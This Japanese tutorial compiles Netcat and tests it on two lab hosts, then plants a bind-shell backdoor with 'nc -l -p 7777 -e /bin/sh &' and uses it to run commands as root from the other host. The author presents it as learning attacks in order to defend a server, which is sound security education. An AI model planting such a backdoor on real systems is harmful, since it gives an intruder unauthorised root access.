勘違いされては困るので、予め言っておく。ここで行っているのは、あくまでも自分の鯖を守るために攻撃方法を学習する事が目的で、決して悪用してはいけない。
Netcatは、ここ とか ここ で紹介されている。単純に言うと通信ツールである。手っ取り早い使い方は、 telnet <ホスト名もしくはIP> <ポート番号> と同じ使い方が出来る。nc <ホスト名もしくはIP> <ポート番号> な感じだ。オフィシャルサイトは、 ここ である。しかし、ただ単に通信させてポートで動いてるサービスのステータスをゲットするだけでは面白くない。そこで、Netcatには -e オプションというのがある。これは、一言でいうとバックドアが作れちゃう。そこで、ここでは俺がこのNetcatをインスコしてバックドアを作って実験するところまでを説明する。バックドアってどうやって作るのか?簡単に作れちゃうのか?どういう物なのか?敵を知って己を守る!これがセキュリティの極意だと俺は思う。
1.まずは、Netcatのインスコ
1)オフィシャルサイトからソースをゲット
[root@infosystem src]# wget http://www.vulnwatch.org/netcat/nc110.tgz
–13:23:22– http://www.vulnwatch.org/netcat/nc110.tgz
=> `nc110.tgz’
Resolving fifo… 192.168.0.12
Connecting to fifo|192.168.0.12|:8080… connected.
Proxy request sent, awaiting response… 200 OK
Length: 75,267 (74K) [text/plain]
100%[====================================>] 75,267 –.–K/s
13:23:22 (964.20 KB/s) – `nc110.tgz’ saved [75267/75267]
2)ワークディレクトリを作って展開する
[root@infosystem src]# mkdir nc110
[root@infosystem src]# cd nc110
[root@infosystem nc110]# tar zxvf ../nc110.tgz
README
netcat.blurb
Changelog
Makefile
generic.h
netcat.c
stupidh
data/README
data/Makefile
data/data.c
data/rservice.c
data/xor.c
data/dns-any.d
data/nfs-0.d
data/pmap-mnt.d
data/rip.d
data/showmount.d
data/pmap-dump.d
data/pm.d
scripts/README
scripts/dist.sh
scripts/ncp
scripts/probe
scripts/iscan
scripts/bsh
scripts/irc
scripts/web
scripts/webproxy
scripts/webrelay
scripts/websearch
scripts/alta
3)パッチをゲット
Linuxでいきなりコンパイルするとエラーが出まくる。そこで、 アットマークさん の所からLinux用パッチをいただく。
[root@infosystem nc110]# wget http://www.atmarkit.co.jp/fsecurity/rensai/iprotect04/nc110-linux.diff
–13:27:26– http://www.atmarkit.co.jp/fsecurity/rensai/iprotect04/nc110-linux.diff
=> `nc110-linux.diff’
Resolving fifo… 192.168.0.12
Connecting to fifo|192.168.0.12|:8080… connected.
Proxy request sent, awaiting response… 200 OK
Length: 6,444 (6.3K) [text/plain]
100%[====================================>] 6,444 –.–K/s
13:27:26 (1.44 MB/s) – `nc110-linux.diff’ saved [6444/6444]
4)パッチを当てる
[root@infosystem nc110]# patch < nc110-linux.diff
(Stripping trailing CRs from patch.)
patching file Makefile
(Stripping trailing CRs from patch.)
patching file netcat.c
5)makeする
[root@infosystem nc110]# make linux
make -e nc XFLAGS=’-DLINUX’ STATIC=-static
make[1]: Entering directory `/usr/local/src/nc110′
cc -O -DGAPING_SECURITY_HOLE -s -DLINUX -static -o nc netcat.c
/tmp/ccHXACOF.o(.text+0x446): In function `gethostpoop’:
: warning: Using ‘gethostbyaddr’ in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/tmp/ccHXACOF.o(.text+0x38e): In function `gethostpoop’:
: warning: Using ‘gethostbyname’ in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/tmp/ccHXACOF.o(.text+0x661): In function `getportpoop’:
: warning: Using ‘getservbyname’ in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/tmp/ccHXACOF.o(.text+0x5cf): In function `getportpoop’:
: warning: Using ‘getservbyport’ in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
make[1]: Leaving directory `/usr/local/src/nc110′
エラーが無ければ、インスコ完了!
コンパイルして、カレントディレクトリに出来たncというバイナリファイルがメインの実行ファイルである。
2.単純な通信で動作確認
1)SMTPポートステータスゲット(コネクトしてクローズさせる)
192.168.0.12のホストへコネクトしてクローズする。
[root@infosystem nc110]# ./nc 192.168.0.12 25
220 fifo.xxxxxxxx.co.jp ESMTP Postfix (Debian/GNU)
EHLO localhost
250-fifo.xxxxxxxx.co.jp
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250 8BITMIME
quit
221 Bye
2)双方向通信
双方向通信で適当な文字のやり取りをする。
■infosystemと言うホストとfifoと言うホスト両方にNetcatを予めインスコする。
■ncをfifoのポート7777に常駐させて、そこへinfosystemコネクトして双方向の通信を実現する。・
fifo:/usr/local/src/nc110# ./nc -l -p 7777
fffff
fdfdfdfd
[root@infosystem nc110]# ./nc 192.168.0.12 7777
fffff
fdfdfdfd
上記の説明
①fifoで ./nc -l -p 7777 のコマンドを実行して待機する(入力待ち状態となる)。
②infosystemで ./nc 192.168.0.12 7777 を実行する(入力待ち状態となる)。
③infosystemから、 「fffff」 を入力する。fifoに「fffff」がエコーバックする。
④fifoから、 「fdfdfdfd」 を入力する。infosystemに 「fdfdfdfd」 がエコーバックする。
3.バックドアを実現してみる
1)以下の条件で実現してみる。
①ホスト名:infosystem
IPアドレス:192.168.3.6
バックドアを仕掛ける方。
②ホスト名:fifo
IPアドレス:192.168.0.12
バックドアを仕掛けられた可愛そうな方
2)fifoへバックドアを常駐させる
以下のコマンドを仕込む。
fifo:/usr/local/src/nc110# ./nc -l -p 7777 -e /bin/sh &
[1] 9455
仕込んだら確認する。
fifo:/usr/local/src/nc110# ps -ef
省略
root 9461 9399 0 13:52 pts/0 00:00:00 ./nc -l -p 7777 -e /bin/sh
root 9462 9399 0 13:52 pts/0 00:00:00 ps -ef
確認したら、悪人は逃げる。
3)infosystemからfifoを操縦する
以下のコマンドをinfosystemから実行して、リモート通信でコネクトしてシェルを実行する。
hostname と ifconfig -a を実行してみる。ついでに、 id コマンドも打ってみた。
[root@infosystem nc110]# ./nc 192.168.0.12 7777
hostname
fifo
ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:C0:4F:C0:EC:CB
inet addr:192.168.0.12 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::2c0:4fff:fec0:eccb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:16592792 errors:0 dropped:0 overruns:1 frame:0
TX packets:7710948 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1220382341 (1.1 GiB) TX bytes:753376635 (718.4 MiB)
Interrupt:11 Base address:0xdc00
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1011 errors:0 dropped:0 overruns:0 frame:0
TX packets:1011 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3178852 (3.0 MiB) TX bytes:3178852 (3.0 MiB)
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
id
uid=0(root) gid=0(root) groups=0(root)
相手の手を読みながら、相手の手法を実際に自分で体験して、防御を考えるのはセキュリティの極意なり!
ってなわけで、大成功の巻でした。
以上
コメント